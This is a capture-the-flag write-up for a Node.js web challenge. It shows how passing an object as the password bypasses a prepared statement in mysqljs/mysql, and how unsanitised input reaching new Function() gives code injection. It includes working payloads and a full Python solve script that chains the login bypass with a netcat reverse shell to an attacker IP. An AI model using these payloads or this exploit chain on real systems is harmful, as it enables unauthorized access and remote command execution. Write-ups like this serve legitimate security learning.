Challenge Objective
- Bypass prepared statements in
mysqljs/mysql
- Exploit the bypass and eventually get RCE through Node.js code injection
Bypassing Prepared Statements in mysqljs/mysql
This vulnerability exposes a flaw where mysqljs/mysql fails to handle object inputs in prepared statements correctly. By passing an object where a string or number is expected, attackers can alter the query structure in a way that effectively bypasses the intended security of prepared statements. In this case:
- Using Objects Instead of Strings/Numbers: When objects are supplied as inputs, mysqljs/mysql interprets them in a way that turns the query condition into an always-true expression.
- Example of Query Interpretation: If an attacker provides
{ "password": { "password": 1 } }
, this object will be evaluated in the query aspassword = 1
, which bypasses the password check.
Example
When we supply the following query in MySQL:
SELECT username FROM users WHERE username = 'admin' AND password = `password` = 1;
+----------+
| username |
+----------+
| admin |
+----------+
This is the result of the query when the password is 1.
Vulnerable Code
/api/login takes the username and password from user input and passes it to loginUser(), which is defined in /database.js. This function contains the prepared statement.
Snippet 1:
// /routes/index.js
router.post('/api/login', async (req, res) => {
const { username, password } = req.body;
if (username && password) {
return db.loginUser(username, password) // <- passed to database.js
[...]
module.exports = database => {
db = database;
return router;
};
Snippet 2:
// /database.js
async loginUser(user, pass) {
return new Promise(async (resolve, reject) => {
let stmt = 'SELECT username FROM users WHERE username = ? AND password = ?'; // <- vulnerable prepared statement
this.connection.query(stmt, [user, pass], (err, result) => {
if(err || result.length == 0)
reject(err)
resolve(result)
})
Prepared Statement Bypass Code
We are able to bypass the prepared statement by supplying the following JSON body:
{"username":"admin","password": {"password": 1}}
Why does this work?
When mysqljs/mysql processes objects in prepared statements, it follows these rules:
-
For objects passed as parameters, the library converts them into SQL expressions following this pattern:
- Each object property becomes:
property_name = 'property_value'
- Example:
{name: 'john'}
becomesname = 'john'
- Each object property becomes:
-
When an object property's value is another object, the library calls
toString()
on it, which results in:{password: {password: 1}}.toString() // Becomes "password = 1"
This means our payload:
{"username": "admin", "password": {"password": 1}}
Gets processed into the SQL equivalent of:
SELECT username FROM users
WHERE username = 'admin' AND password = (password = 1)
The (password = 1)
expression always evaluates to either 1 (true) or 0 (false) in MySQL, effectively turning our query into:
SELECT username FROM users
WHERE username = 'admin' AND password = 1
This bypasses the password check since password = 1
will always be true!
Solving the Challenge to get the flag
Lastly we need to get code execution. This can observing the vulnerable code in the following snippets.
Snippet 3:
In this code there's a possibility that user-supplied input activity
passes to calculate()
function located in /helpers/SpikyFactor.js
// /routes/index.js
router.post('/api/activity', AuthMiddleware, async (req, res) => {
const { activity, health, weight, happiness } = req.body;
if (activity && health && weight && happiness) {
return SpikyFactor.calculate(activity, parseInt(health), parseInt(weight), parseInt(happiness))
Which looks like this in a normal request:
POST /api/activity HTTP/1.1
{"activity":"play","health":"61","weight":"47","happiness":"53"}
Next, the string 'res' includes the 'activity' value. Lastly, 'res' is passed into new Function(res) and it results in node.js code injection.
Snippet 4:
// /helpers/SpikyFactor.js
const calculate = (activity, health, weight, happiness) => {
return new Promise(async (resolve, reject) => {
try {
// devine formula :100:
let res = `with(a='${activity}', hp=${health}, w=${weight}, hs=${happiness}) {
if (a == 'feed') { hp += 1; w += 5; hs += 3; } if (a == 'play') { w -= 5; hp += 2; hs += 3; } if (a == 'sleep') { hp += 2; w += 3; hs += 3; } if ((a == 'feed' || a == 'sleep' ) && w > 70) { hp -= 10; hs -= 10; } else if ((a == 'feed' || a == 'sleep' ) && w < 40) { hp += 10; hs += 5; } else if (a == 'play' && w < 40) { hp -= 10; hs -= 10; } else if ( hs > 70 && (hp < 40 || w < 30)) { hs -= 10; } if ( hs > 70 ) { m = 'kissy' } else if ( hs < 40 ) { m = 'cry' } else { m = 'awkward'; } if ( hs > 100) { hs = 100; } if ( hs < 5) { hs = 5; } if ( hp < 5) { hp = 5; } if ( hp > 100) { hp = 100; } if (w < 10) { w = 10 } return {m, hp, w, hs}
}`;
quickMaths = new Function(res);
Node.js Code Injection
We can get code execution by supplying the following JSON body:
{"activity":"play'+(global.process.mainModule.require('child_process').execSync('nc 172.233.62.142 9002 -e sh'))+'","health":"63","weight":"42","happiness":"56"}
And catch the shell on the attacker's machine.
References
Solve Script
import requests
s = requests.Session()
URL = 'http://target.local/'
# Step 1: bypass the login
data = {"username":"admin","password": {"password": 1}}
response = s.post(f"{URL}/api/login", json=data)
print(response.text)
# Step 2: execute the command
data ={"activity":"sleep'+(global.process.mainModule.require('child_process').execSync('nc 192.168.1.100 9001 -e sh'))+'","health":"63","weight":"42","happiness":"56"}
s.post(f"{URL}/api/activity", json=data)